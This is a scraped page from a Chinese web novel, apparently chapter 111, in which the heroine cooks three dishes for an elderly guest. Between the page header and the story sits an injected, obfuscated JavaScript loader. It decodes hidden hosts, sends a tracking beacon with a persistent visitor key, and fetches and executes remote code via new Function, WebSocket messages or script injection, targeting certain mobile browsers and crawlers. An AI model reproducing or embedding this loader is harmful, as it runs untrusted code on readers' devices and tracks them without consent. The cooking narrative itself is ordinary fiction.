足迹
休了那个陈世美无错
登录
关灯
护眼
字体:

第111章、三菜(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

水开后,撒入少许盐,少许香葱碎,就可起锅。

汤色清亮,两色虾丸清新宜人,鸡汤飘香,虾丸鸡皮汤就做好了。

剩下的一半鸡肉,柳茹月准备做成广式蒜香蒸鸡。

加入少许胡椒粉,两勺盐,一半汤勺料酒去腥,一勺耗油、一勺生抽,将这些料全部摸匀,之后腌制两刻钟左右。

在腌制鸡肉的时候,柳茹月把杀好的鱼,做成了柠檬鸡,这道菜她本身也是打算做成主打菜的。

这种南洋菜,北昙各处还十分少见,她准备让这个南宫弘老先生尝尝看口味。

之后,她又切好葱姜蒜、香菜。

起锅烧油,将蒜头炒至金黄色,再放入葱姜蒜,炒出香味,将料捞出控油备用。

将腌制好的鸡放入炒了配料的油锅中煎一下,因为油里有香料气味,可以去腥增香。

煎至两面金黄,捞出控油。

将控好油的半边鸡肉放入盘子中,又把炒好的配料倒在鸡肉表面上。

再将腌制鸡肉的汁水也淋在鸡肉上,之后将盘子放入蒸锅中,大火蒸制一刻钟。

揭开锅,一股葱油香气伴着鸡肉味儿扑面而来。

将鸡肉剁成小块,装盘,将汤汁淋在鸡肉上,一份金黄油亮的广式蒜香蒸鸡就做好了。

今晚的菜,就这三道,多的也没有了。

老者在外头等着吃饭,等着等着就靠在墙睡着了。

期间柳茹月也没出去看他。

现在端着托盘出来,只见一个身着白底青竹刺绣襕衫的男子坐在南宫弘身侧,点了一个不属于她这小店的灯笼,拿着书在看。

南宫弘抽了抽鼻子,眼未睁,脑袋先偏了过来,“香,真香!”

他几乎从凳子上蹦了起来,“老板娘,这鸡肉,闻着是蒜香鸡,怎么闻着比别家的香呢?”

“二爷爷,坐好了,我去给你添饭。”男子放下书,莫可奈何的按着突然打了鸡血一样的南宫弘。